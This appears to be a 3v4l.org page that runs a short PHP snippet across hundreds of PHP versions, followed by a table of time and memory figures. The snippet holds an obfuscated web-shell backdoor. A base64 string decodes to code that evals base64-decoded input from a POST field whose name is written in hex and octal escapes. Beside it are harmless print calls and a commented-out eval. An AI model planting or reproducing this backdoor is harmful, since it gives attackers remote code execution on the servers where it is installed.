3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_='aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'; $__="\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"; $___="\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"; //print($___); //print($__); print("HELlo"); print("Hel1dsafd"); //eval($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0160.00318.43
8.3.60.0110.00418.11
8.3.50.0090.00822.05
8.3.40.0000.01418.85
8.3.30.0030.01019.09
8.3.20.0040.00420.20
8.3.10.0000.00823.66
8.3.00.0000.00820.82
8.2.180.0150.00316.32
8.2.170.0070.00722.96
8.2.160.0070.00720.23
8.2.150.0000.00824.18
8.2.140.0000.00824.66
8.2.130.0100.00726.16
8.2.120.0030.00620.97
8.2.110.0030.00722.12
8.2.100.0120.00017.84
8.2.90.0060.00318.97
8.2.80.0000.00817.97
8.2.70.0060.00317.50
8.2.60.0100.00017.80
8.2.50.0040.00418.07
8.2.40.0040.00418.16
8.2.30.0000.00718.13
8.2.20.0000.00817.60
8.2.10.0000.00717.98
8.2.00.0050.00317.49
8.1.280.0100.00725.92
8.1.270.0000.00923.67
8.1.260.0040.00426.35
8.1.250.0030.00628.09
8.1.240.0040.01823.75
8.1.230.0040.00719.00
8.1.220.0000.00817.74
8.1.210.0050.00318.77
8.1.200.0030.00717.23
8.1.190.0040.00417.11
8.1.180.0030.00518.10
8.1.170.0040.00418.66
8.1.160.0040.00421.93
8.1.150.0040.00418.42
8.1.140.0040.00417.39
8.1.130.0060.00017.70
8.1.120.0000.00717.25
8.1.110.0070.00017.35
8.1.100.0030.00517.45
8.1.90.0030.00317.42
8.1.80.0040.00417.40
8.1.70.0030.00317.37
8.1.60.0040.00417.41
8.1.50.0040.00417.39
8.1.40.0040.00417.45
8.1.30.0030.00617.45
8.1.20.0000.00717.50
8.1.10.0040.00417.51
8.1.00.0000.00717.30
8.0.300.0000.00918.77
8.0.290.0050.00316.61
8.0.280.0030.00318.36
8.0.270.0000.00717.27
8.0.260.0030.00317.25
8.0.250.0070.00016.77
8.0.240.0000.00716.89
8.0.230.0000.00716.91
8.0.220.0030.00316.79
8.0.210.0030.00316.73
8.0.200.0060.00016.85
8.0.190.0080.00016.93
8.0.180.0030.00316.79
8.0.170.0040.00416.87
8.0.160.0030.00316.64
8.0.150.0040.00416.81
8.0.140.0070.00016.82
8.0.130.0090.00013.24
8.0.120.0040.00416.66
8.0.110.0070.00016.72
8.0.100.0050.00216.72
8.0.90.0070.00016.89
8.0.80.0080.00816.88
8.0.70.0000.00716.71
8.0.60.0040.00416.71
8.0.50.0040.00416.78
8.0.30.0110.00816.85
8.0.20.0110.00717.40
8.0.10.0050.00316.97
8.0.00.0080.00916.79
7.4.330.0050.00015.03
7.4.320.0040.00416.42
7.4.300.0030.00316.39
7.4.290.0030.00316.52
7.4.280.0070.00016.43
7.4.270.0000.00716.53
7.4.260.0030.00616.47
7.4.250.0030.00316.52
7.4.240.0030.00516.48
7.4.230.0070.00016.44
7.4.220.0090.00916.58
7.4.210.0110.00316.43
7.4.200.0070.00016.58
7.4.160.0080.00816.36
7.4.150.0240.00017.40
7.4.140.0100.01017.86
7.4.130.0060.01016.52
7.4.120.0110.00716.52
7.4.110.0070.01016.25
7.4.100.0120.01216.41
7.4.90.0090.01216.41
7.4.80.0120.00619.39
7.4.70.0100.01016.45
7.4.60.0070.01116.45
7.4.50.0050.00016.08
7.4.40.0100.00616.38
7.4.30.0110.00616.44
7.4.00.0000.01515.00
7.3.330.0000.00513.06
7.3.320.0030.00313.07
7.3.310.0030.00316.07
7.3.300.0020.00516.12
7.3.290.0060.01216.18
7.3.280.0100.00716.20
7.3.270.0120.00517.40
7.3.260.0110.00516.13
7.3.250.0100.00816.35
7.3.240.0100.00716.18
7.3.230.0130.00416.39
7.3.210.0030.02016.26
7.3.200.0070.01419.39
7.3.190.0030.01316.19
7.3.180.0120.00316.23
7.3.170.0060.01416.43
7.3.160.0160.00016.34
7.3.120.0030.01214.85
7.2.330.0090.00916.53
7.2.320.0100.00716.26
7.2.310.0130.00416.46
7.2.300.0170.00316.59
7.2.290.0170.00016.28
7.2.00.0000.01419.10
7.1.100.0060.00618.00
7.1.70.0030.00616.97
7.1.60.0140.01019.70
7.1.50.0100.01616.75
7.1.00.0070.07322.51
7.0.200.0030.00316.34
7.0.140.0100.06722.11
7.0.60.0030.08319.92
7.0.50.0130.07717.80
7.0.40.0200.07320.13
7.0.30.0170.04320.13
7.0.20.0300.06720.09
7.0.10.0070.08020.04
7.0.00.0070.06720.16
5.6.280.0070.07020.90
5.6.210.0030.06720.52
5.6.200.0130.07718.18
5.6.190.0070.04320.42
5.6.180.0270.06720.58
5.6.170.0500.05320.53
5.6.160.0070.07720.55
5.6.150.0070.05718.18
5.6.140.0030.08318.18
5.6.130.0070.06318.21
5.6.120.0070.08320.98
5.6.110.0070.08321.00
5.6.100.0070.08721.11
5.6.90.0070.07720.95
5.6.80.0130.06320.25
5.6.70.4830.03720.42
5.5.350.0130.03020.32
5.5.340.0030.03717.88
5.5.330.0130.07320.38
5.5.320.0100.05320.20
5.5.310.0300.06020.34
5.5.300.0000.04017.92
5.5.290.0070.03718.00
5.5.280.0030.07020.87
5.5.270.0100.05320.96
5.5.260.0130.07720.80
5.5.250.0100.07720.54
5.5.240.0230.06720.36
5.4.450.0270.04332.18
5.4.440.1070.04719.15
5.4.430.0300.05032.18
5.4.420.0400.05032.18
5.4.410.0200.04332.17
5.4.400.0130.03330.86
5.4.390.0270.04330.86
5.4.380.0200.04718.49
5.4.370.0130.05318.71
5.4.360.0200.04718.69
5.4.350.0100.05318.68
5.4.340.0130.05018.74
5.4.320.0050.04412.45
5.4.310.0070.04712.45
5.4.300.0060.03612.45
5.4.290.0080.03712.45
5.4.280.0040.03712.35
5.4.270.0040.03712.34
5.4.260.0040.03812.34
5.4.250.0070.03612.34
5.4.240.0060.03412.35
5.4.230.0070.03712.34
5.4.220.0080.03412.34
5.4.210.0060.03412.34
5.4.200.0050.03812.34
5.4.190.0060.03512.33
5.4.180.0060.03512.34
5.4.170.0070.03412.34
5.4.160.0090.03212.34
5.4.150.0100.03112.34
5.4.140.0060.03612.02
5.4.130.0110.02912.01
5.4.120.0040.03511.97
5.4.110.0050.03511.96
5.4.100.0020.03811.96
5.4.90.0060.03611.96
5.4.80.0050.03711.96
5.4.70.0040.03611.96
5.4.60.0070.03311.96
5.4.50.0090.03111.96
5.4.40.0080.03111.95
5.4.30.0050.03511.95
5.4.20.0030.03811.95
5.4.10.0040.03611.94
5.4.00.0060.03511.44
5.3.290.0030.04112.80
5.3.280.0020.04112.71
5.3.270.0070.03812.73
5.3.260.0110.03412.72
5.3.250.0100.03512.72
5.3.240.0070.03712.72
5.3.230.0030.04112.71
5.3.220.0050.03912.68
5.3.210.0090.04812.68
5.3.200.0070.03512.68
5.3.190.0040.03912.68
5.3.180.0100.03312.67
5.3.170.0060.03612.66
5.3.160.0020.03912.68
5.3.150.0060.03712.68
5.3.140.0080.03512.66
5.3.130.0070.03712.66
5.3.120.0040.04012.66
5.3.110.0100.03312.66
5.3.100.0040.03712.12
5.3.90.0070.03412.09
5.3.80.0060.03512.07
5.3.70.0050.03812.08
5.3.60.0090.03212.06
5.3.50.0040.03812.00
5.3.40.0040.03812.00
5.3.30.0040.03711.94
5.3.20.0040.03611.72
5.3.10.0040.03611.69
5.3.00.0060.03611.68
5.2.170.0040.0319.18
5.2.160.0060.0289.18
5.2.150.0030.0329.18
5.2.140.0070.0289.17
5.2.130.0060.0289.14
5.2.120.0020.0319.14
5.2.110.0030.0309.14
5.2.100.0060.0269.14
5.2.90.0040.0299.14
5.2.80.0080.0269.13
5.2.70.0060.0289.13
5.2.60.0030.0319.09
5.2.50.0050.0309.05
5.2.40.0040.0289.04
5.2.30.0040.0309.01
5.2.20.0070.0269.00
5.2.10.0030.0298.92
5.2.00.0030.0308.78
5.1.60.0050.0238.07
5.1.50.0010.0288.06
5.1.40.0040.0248.04
5.1.30.0040.0268.39
5.1.20.0050.0258.41
5.1.10.0030.0268.14
5.1.00.0050.0248.14
5.0.50.0060.0186.61
5.0.40.0040.0186.48
5.0.30.0040.0316.29
5.0.20.0030.0206.25
5.0.10.0020.0216.24
5.0.00.0000.0346.23
4.4.90.0040.0144.78
4.4.80.0040.0134.76
4.4.70.0040.0144.75
4.4.60.0040.0144.75
4.4.50.0030.0154.77
4.4.40.0020.0264.71
4.4.30.0030.0164.76
4.4.20.0010.0184.84
4.4.10.0010.0174.85
4.4.00.0040.0234.76
4.3.110.0040.0144.67
4.3.100.0020.0154.67
4.3.90.0030.0164.64
4.3.80.0000.0264.59
4.3.70.0050.0124.63
4.3.60.0050.0124.63
4.3.50.0020.0164.62
4.3.40.0030.0234.54
4.3.30.0000.0173.27
4.3.20.0020.0153.26
4.3.10.0010.0163.22
4.3.00.0000.02030.86

preferences:
43.99 ms | 401 KiB | 5 Q